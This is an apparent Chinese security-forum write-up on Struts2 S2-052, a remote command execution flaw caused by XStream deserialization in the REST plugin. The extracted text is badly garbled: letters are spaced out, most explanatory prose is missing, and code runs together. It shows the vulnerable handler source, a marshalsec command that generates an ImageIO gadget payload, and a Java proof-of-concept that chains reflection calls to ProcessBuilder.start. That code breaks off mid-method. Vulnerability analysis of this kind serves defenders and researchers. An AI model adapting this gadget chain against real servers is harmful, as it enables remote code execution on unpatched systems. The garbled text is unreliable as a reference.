[6785] 2020-06-21_Struts2漏洞系列之【S2-052】REST插件远程执行命令漏洞

文档创建者:s7ckTeam
浏览次数:0
最后更新:2025-01-17
2020-06-21_Struts2漏洞系列之【S2-052】REST插件远程执行命令漏洞 S t r u t s 2 S 2 - 0 5 2 R E S T E   2 0 2 0 - 0 6 - 2 1   P e n t e s 7 e a m S m i 1 e @ P e n t e s 7 e a m h t t p s : / / c w i k i . a p a c h e . o r g / c o n f l u e n c e / d i s p l a y / W W / S 2 - 0 5 2 S t r u t s 2 使     h t t p         使         X M L 1 . 5 . x   . S t r u t s 2 - R e s t - P l u g i n C o n t e n t - t y p e a p p l i c a t i o n / x m l X S t r e a m H a n d l e r X S t r e a m
S t r u t s   2 . 1 . 2   -   2 . 3 . 3 3 S t r u t s   2 . 5   -   2 . 5 . 1 2   S t r u t s 2                   S t r u t s 2 - R e s t - P l u g i n R e s t f u l   A P I C o n t e n t - T y p e U R I x m l o r g . a p a c h e . s t r u t s 2 . r e s t . h a n d l e r . X S t r e a m H a n d l e r < ! - - s t r u t s - p l u g i n . x m l - - > < b e a n   t y p e = " o r g . a p a c h e . s t r u t s 2 . r e s t . h a n d l e r . C o n t e n t T y p e H a n d l e r "   n a m e = " x m l "   c l a s s = " o r g . a p a c h e . s t r u t s 2 . r e s t . h a n d l e r . X S t r e a m H a n d l e r "         < b e a n   t y p e = " o r g . a p a c h e . s t r u t s 2 . r e s t . h a n d l e r . C o n t e n t T y p e H a n d l e r "   n a m e = " j s o n "   c l a s s = " o r g . a p a c h e . s t r u t s 2 . r e s t . h a n d l e r . J s o n L i b H a n d l e r "         < b e a n   t y p e = " o r g . a p a c h e . s t r u t s 2 . r e s t . h a n d l e r . C o n t e n t T y p e H a n d l e r "   n a m e = " h t m l "   c l a s s = " o r g . a p a c h e . s t r u t s 2 . r e s t . h a n d l e r . H t m l H a n d l e r "         < b e a n   t y p e = " o r g . a p a c h e . s t r u t s 2 . r e s t . h a n d l e r . C o n t e n t T y p e H a n d l e r "   n a m e = " x - w w w - f o r m - u r l e n c o d e d "   c l a s s = " o r g . a p a c h e . s t r u t s 2 . r e s t . h a n d l e r . F o r m U r l E n c o d e d H a n d l e r "         < b e a n   t y p e = " o r g . a p a c h e . s t r u t s 2 . r e s t . h a n d l e r . C o n t e n t T y p e H a n d l e r "   n a m e = " m u l t i p a r t / f o r m - d a t a "   c l a s s = " o r g . a p a c h e . s t r u t s 2 . r e s t . h a n d l e r . M u l t i p a r t F o r m D a t a H a n d l e r " o r g . a p a c h e . s t r u t s 2 . r e s t . h a n d l e r . X S t r e a m H a n d l e r . j a v a
      X M L       X M L       o r g . a p a c h e . s t r u t s 2 . r e s t . h a n d l e r . X S t r e a m H a n d l e r . j a v a p a c k a g e   o r g . a p a c h e . s t r u t s 2 . r e s t . h a n d l e r ; i m p o r t   c o m . t h o u g h t w o r k s . x s t r e a m . X S t r e a m ; i m p o r t   j a v a . i o . I O E x c e p t i o n ; i m p o r t   j a v a . i o . R e a d e r ; i m p o r t   j a v a . i o . W r i t e r ; p u b l i c   c l a s s   X S t r e a m H a n d l e r   i m p l e m e n t s   C o n t e n t T y p e H a n d l e r   {         p u b l i c   X S t r e a m H a n d l e r ( )   {         }         p u b l i c   S t r i n g   f r o m O b j e c t ( O b j e c t   o b j ,   S t r i n g   r e s u l t C o d e ,   W r i t e r   o u t )   t h r o w s   I O E x c e p t i o n   {                 i f   ( o b j   ! =   n u l l )   {                         X S t r e a m   x s t r e a m   =   t h i s . c r e a t e X S t r e a m ( ) ;                         x s t r e a m . t o X M L ( o b j ,   o u t ) ;                 }                 r e t u r n   n u l l ;         }         p u b l i c   v o i d   t o O b j e c t ( R e a d e r   i n ,   O b j e c t   t a r g e t )   {                 X S t r e a m   x s t r e a m   =   t h i s . c r e a t e X S t r e a m ( ) ;                 x s t r e a m . f r o m X M L ( i n ,   t a r g e t ) ;         }         p r o t e c t e d   X S t r e a m   c r e a t e X S t r e a m ( )   {                 r e t u r n   n e w   X S t r e a m ( ) ;         }         p u b l i c   S t r i n g   g e t C o n t e n t T y p e ( )   {                 r e t u r n   " a p p l i c a t i o n / x m l " ;         }         p u b l i c   S t r i n g   g e t E x t e n s i o n ( )   {                 r e t u r n   " x m l " ;         } } t o O b j e c t X S t r e a m f r o m O b j e c t X S t r e a m S t r u t s 2 - R e s t - P l u g i n
  0                 X M L X M L p a y l o a d     m a r s h a l s e c     X S t r e a m     g a d g e t s o r g . a p a c h e . s t r u t s 2 . r e s t . C o n t e n t T y p e I n t e r c e p t o r t o O b j e c t X S t r e a m H a n d l e r t o O b j e c t x s t r e a m . f r o m X M L ( i n ,   t a r g e t ) ; j a v a   u n m a r s h a l
p o c     g a d g e t s X S t r e a m X M L   D O M       I m a g e I O j a v a   - c p   t a r g e t / m a r s h a l s e c - 0 . 0 . 3 - S N A P S H O T - a l l . j a r   m a r s h a l s e c . X S t r e a m   I m a g e I O   c a l c M a p C o n v e r t e r
                        p a y l o a d                 p u t C u r r e n t E n t r y I n t o M a p N a t i v e S t r i n g h a s h M a p h a s h M a p N a t i v e S t r i n g h a s h C o d e p u b l i c   i n t   h a s h C o d e ( )   {                 r e t u r n   t h i s . g e t S t r i n g V a l u e ( ) . h a s h C o d e ( ) ; } p r i v a t e   S t r i n g   g e t S t r i n g V a l u e ( )   {                 r e t u r n   t h i s . v a l u e   i n s t a n c e o f   S t r i n g   ?   ( S t r i n g ) t h i s . v a l u e   :   t h i s . v a l u e . t o S t r i n g ( ) ; } v a l u e c o m . s u n . x m l . i n t e r n a l . b i n d . v 2 . r u n t i m e . u n m a r s h a l l e r . B a s e 6 4 D a t a B a s e 6 4 D a t a t o S t r i n g ( ) g e t
                                    p u b l i c   S t r i n g   t o S t r i n g ( )   {         t h i s . g e t ( ) ;         r e t u r n   D a t a t y p e C o n v e r t e r I m p l . _ p r i n t B a s e 6 4 B i n a r y ( t h i s . d a t a ,   0 ,   t h i s . d a t a L e n ) ; } d a t a S o u r c e C i p h e r I n p u t S t r e a m b a o s . r e a d F r o m ( ) F i l t e r I t e r a t o r n e x t a d v a n c e F i l t e r I t e r a t o r $ F i l t e r f i l t e r ( ) F i l t e r I t e r a t o r $ F i l t e r j a v a x . i m a g e i o . I m a g e I O $ C o n t a i n s F i l t e r
    p a y l o a d                       p u b l i c   T   n e x t ( )   {         i f   ( n e x t   = =   n u l l )   {                     t h r o w   n e w   N o S u c h E l e m e n t E x c e p t i o n ( ) ;         }         T   o   =   n e x t ;         a d v a n c e ( ) ;         r e t u r n   o ; } p r i v a t e   v o i d   a d v a n c e ( )   {         w h i l e   ( i t e r . h a s N e x t ( ) )   {             T   e l t   =   i t e r . n e x t ( ) ;             i f   ( f i l t e r . f i l t e r ( e l t ) )   {                 n e x t   =   e l t ;                 r e t u r n ;             }         }         n e x t   =   n u l l ; } e l t j a v a . l a n g . P r o c e s s B u i l d e r j a v a x . i m a g e i o . I m a g e I O $ C o n t a i n s F i l t e r f i l t e r m e t h o d j a v a . l a n g . P r o c e s s B u i l d e r s t a r t

p o c i m p o r t   c o m . t h o u g h t w o r k s . x s t r e a m . X S t r e a m ; i m p o r t   s u n . r e f l e c t . R e f l e c t i o n F a c t o r y ; i m p o r t   j a v a x . a c t i v a t i o n . D a t a H a n d l e r ; i m p o r t   j a v a x . a c t i v a t i o n . D a t a S o u r c e ; i m p o r t   j a v a x . c r y p t o . C i p h e r ; i m p o r t   j a v a x . c r y p t o . C i p h e r I n p u t S t r e a m ; i m p o r t   j a v a x . c r y p t o . N u l l C i p h e r ; i m p o r t   j a v a . i o . I n p u t S t r e a m ; i m p o r t   j a v a . l a n g . r e f l e c t . * ; i m p o r t   j a v a . u t i l . C o l l e c t i o n s ; i m p o r t   j a v a . u t i l . H a s h M a p ; p u b l i c   c l a s s   I m a g e I O P a y l o a d   {         p u b l i c   s t a t i c   v o i d   m a i n ( S t r i n g [ ]   a r g s )   t h r o w s   E x c e p t i o n   {                 P r o c e s s B u i l d e r   p b   =   n e w   P r o c e s s B u i l d e r ( n e w   S t r i n g [ ] { " o p e n " , " - a " , " c a l c u l a t o r " } ) ;                 C l a s s < ? >   c f C l   =   C l a s s . f o r N a m e ( " j a v a x . i m a g e i o . I m a g e I O $ C o n t a i n s F i l t e r " ) ;                 C o n s t r u c t o r < ? >   c f C o n s   =   c f C l . g e t D e c l a r e d C o n s t r u c t o r ( M e t h o d . c l a s s ,   S t r i n g . c l a s s ) ;                 c f C o n s . s e t A c c e s s i b l e ( t r u e ) ;                 O b j e c t   f i l t e r I t   =   m a k e F i l t e r I t e r a t o r (                                 m a k e F i l t e r I t e r a t o r ( C o l l e c t i o n s . e m p t y I t e r a t o r ( ) ,   p b ,   n u l l ) ,                                 " f o o " ,                                 c f C o n s . n e w I n s t a n c e ( P r o c e s s B u i l d e r . c l a s s . g e t M e t h o d ( " s t a r t " ) ,   " f o o " )                 ) ;                 H a s h M a p   m a p   =   m a k e I t e r a t o r T r i g g e r N a t i v e ( f i l t e r I t ) ;                 X S t r e a m   x s   =   n e w   X S t r e a m ( ) ;                 S t r i n g   x m l   =   x s . t o X M L ( m a p ) ;                 S y s t e m . o u t . p r i n t l n ( x m l ) ;                 x s . f r o m X M L ( x m l ) ;         }         p u b l i c   s t a t i c   O b j e c t   m a k e F i l t e r I t e r a t o r ( O b j e c t   b a c k i n g I t ,   O b j e c t   f i r s t ,   O b j e c t   f i l t e r )   t h r o w s   E x c e p t i o n                 C l a s s   f i C l   =   C l a s s . f o r N a m e ( " j a v a x . i m a g e i o . s p i . F i l t e r I t e r a t o r " ) ;                 O b j e c t   f i l t e r I t   =   c r e a t e W i t h o u t C o n s t r u c t o r ( f i C l ) ;                 s e t F i e l d V a l u e ( f i l t e r I t ,   " i t e r " ,   b a c k i n g I t ) ;                 s e t F i e l d V a l u e ( f i l t e r I t ,   " n e x t " ,   f i r s t ) ;                 s e t F i e l d V a l u e ( f i l t e r I t ,   " f i l t e r " ,   f i l t e r ) ;                 r e t u r n   f i l t e r I t ;         }         p u b l i c   s t a t i c   H a s h M a p   m a k e I t e r a t o r T r i g g e r N a t i v e ( O b j e c t   i t )   t h r o w s   E x c e p t i o n   {                 C i p h e r   m   =   ( C i p h e r )   c r e a t e W i t h o u t C o n s t r u c t o r ( N u l l C i p h e r . c l a s s ) ;                 s e t F i e l d V a l u e ( m ,   " s e r v i c e I t e r a t o r " ,   i t ) ;                 s e t F i e l d V a l u e ( m ,   " l o c k " ,   n e w   O b j e c t ( ) ) ;                 I n p u t S t r e a m   c o s   =   n e w   C i p h e r I n p u t S t r e a m ( n u l l ,   m ) ;                 C l a s s < ? >   n i C l   =   C l a s s . f o r N a m e ( " j a v a . l a n g . P r o c e s s B u i l d e r $ N u l l I n p u t S t r e a m " ) ;   / / $ N O N - N L S - 1 $                 C o n s t r u c t o r < ? >   n i C o n s   =   n i C l . g e t D e c l a r e d C o n s t r u c t o r ( ) ;                 n i C o n s . s e t A c c e s s i b l e ( t r u e ) ;                 s e t F i e l d V a l u e ( c o s ,   " i n p u t " ,   n i C o n s . n e w I n s t a n c e ( ) ) ;
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则